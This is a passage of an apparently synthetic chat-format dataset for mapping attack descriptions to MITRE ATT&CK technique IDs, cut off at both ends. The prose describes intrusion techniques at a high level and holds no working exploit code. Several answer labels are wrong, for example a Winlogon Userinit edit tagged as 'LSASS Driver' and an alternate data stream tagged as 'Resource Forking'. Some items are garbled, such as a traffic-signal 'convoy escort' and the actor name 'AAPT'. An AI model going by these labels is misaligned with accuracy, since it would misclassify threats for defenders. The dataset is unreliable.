                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable web application to upload a compiled backdoor binary via a file upload endpoint, installing the tool on the target server."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a Google dork query to locate PDFs containing staff rosters, then parses the documents to collect employee names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised CI/CD pipeline, the perpetrator modifies a serverless function to execute a cryptominer each time the function is triggered."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employed sc create to register a service that runs a PowerShell script for command and control."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates exfiltrating code by accessing the victim's SVN repository using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF triggers a use‑after‑free flaw in Adobe Reader, allowing the attacker to execute code as admin."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT leveraged the Windows Control Panel executable as a proxy to execute a signed malicious script, avoiding script block logging."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a flawed input validation in a web browser, causing it to freeze and deny web access on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the forest trust configuration, allowing a compromised domain to trust an external malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers generic user information from the system without specifying a method."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the 'elevate' command-line utility to request admin rights via a prompt, then launches a credential-stealing script."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised service account to deploy malicious PowerShell scripts across the environment."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script reads HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer to discover enabled software installation policies."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python exploit uses os.times() to gather the system's time information and adjust its payload execution schedule."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects code into the hypervisor's VM image to compromise guest machines."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is hidden in a systemd timer that activates a downloader script every 10 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a misconfigured admin interface, the attacker overwrites the internal status page with a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the Get-ADTrust cmdlet to enumerate trusted domains for lateral movement planning."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with the Authenticode signature, causing the system to misinterpret the binary as authenticated."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a VSS snapshot to dump the NTDS.dit file and extract domain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages the LLDP protocol to collect neighbor information from connected devices, revealing the network's physical topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy tool communicates with a remote C2 server via Windows messages sent between processes."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the PAM configuration to add a pam_exec entry that executes a reverse shell binary each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the threat actor forces database connections to use legacy SSL v2 protocols, compromising data in transit."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the cached Kerberos tickets stored in memory to obtain domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker injects a hidden iframe into a public forum thread, which loads a phishing site targeting forum members."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script forces users to authenticate to a fake RDP gateway, capturing their usernames and passwords during the login process."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor creates a hidden local account with administrative rights that is omitted from the 'Get-LocalUser' results."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the LC_LOAD_DYLIB addition technique to attach a payload library to a target binary, enabling code execution when the binary is run."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Azure Resource Manager to roll back a virtual machine to a previous configuration, undoing their changes."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulation of traffic signal timing via unauthorized commands to create a convoy escort for malware exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script writes exfiltrated data to a hidden alternate data stream and later exfiltrates it via SMB."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script encodes data with Base64 and sends it via DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a remote desktop client injects code that opens a reverse shell to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exfiltrates credential files containing private RSA keys from a compromised Linux host's /etc/ssl directory."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code forces the VPN client to negotiate a weaker cipher suite, effectively reducing the encryption key size."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs 'ipconfig /all' to obtain network adapter configurations, including DNS servers."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor is delivered as raw source code and is compiled on the infected host to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leveraged \"kubectl exec\" to run a privileged command inside a compromised pod, escalating their access."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used the Alibaba Cloud ECS API with valid credentials to issue a DeleteInstance request, removing the cloud host from the environment."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary used compromised credentials to delete and recreate firewall policies in GCP, effectively turning off the cloud firewall protections."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged compromised AWS Lambda credentials to invoke the EC2 TerminateInstances API, terminating and deleting the target instance."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After breaching a cloud workstation, the attacker accessed the local AWS CLI configuration to retrieve temporary session credentials from the metadata endpoint."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data by uploading it to a forged iCloud Drive shared folder."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a spear-phishing email with a malicious attachment that, when opened, drops a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses the container runtime's gRPC API to request the list of containers and reads the mounted secret files containing API keys."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection alters the laptop's sleep timer, extending the idle period before suspension."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors steal LDAP credentials and store them encrypted with a reversible cipher to later replay authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed Group Policy changes to disable the enterprise firewall across the domain."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the threat actor harvests Kerberos tickets and creates forged tickets for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a dummy window in the victim process and employs SetWindowLong to set a new window procedure that points to malicious code injected into the process’s extra window memory."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious macro, the attacker drops and uploads a cryptominer to the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware automates the addition of a domain user via the net user /add command."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape job postings and hiring trends of the victim firm to gauge peak hiring seasons and project upcoming operational tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary issues a 'netsh wlan show interfaces' command and parses the reported BSSID to pinpoint the network's location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a known exploit for CVE‑2023‑12345 in a server’s SMB service to obtain a privilege‑escalation module."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary replaces a legitimate macOS dynamic library with a malicious version, causing the targeted application to load the malicious code during runtime."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a large collection of common file extensions and directory names to discover hidden web resources."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals leveraged a data breach from a third‑party service to acquire a spreadsheet containing the target company's employee IDs and corporate email addresses."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads an application access token from an environment variable and uses it to bypass MFA and perform administrative actions in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 implements a fallback mechanism that encrypts stolen files and uploads them via cloud storage APIs when direct uploads are detected."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By accessing /proc/[pid]/fd entries, the malware copies file descriptors that contain credential data leaked by vulnerable services."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan was obfuscated by wrapping its code in a packaged archive that decompresses after execution."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group installs a container runtime and executes a malicious container to persist code."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised driver is used to install a port monitor that injects code into the Print Spooler process, achieving boot‑time execution."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the 'firewall-cmd' utility to set the zone to 'trusted', disabling firewall filtering."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scraped public repositories for leaked private keys and accompanying digital certificates."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group collects trust relationship details by querying network devices for AAA trust lists."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary conducts keyword searches across public security blogs and vulnerability feeds to gather details on exploits that could be used against the target."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set abuses MAPI over HTTP to sync and download a user's Outlook data, including sent and received messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses DCOM to execute PowerShell commands on a remote Windows host without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into the Winlogon Userinit registry key, causing it to run during the Windows login process."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses stolen credentials to log into a Certificate Authority portal and issues a new code signing certificate for their own domain."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials from a third‑party SaaS provider were used to access the victim's Salesforce instance via API."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the adversary generates forged SAML tokens to bypass multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of NtAlertResumeThread and NtQueueApcThread, the threat actor injects a DLL into a target process."
            },
            {
                "role": "assistant",
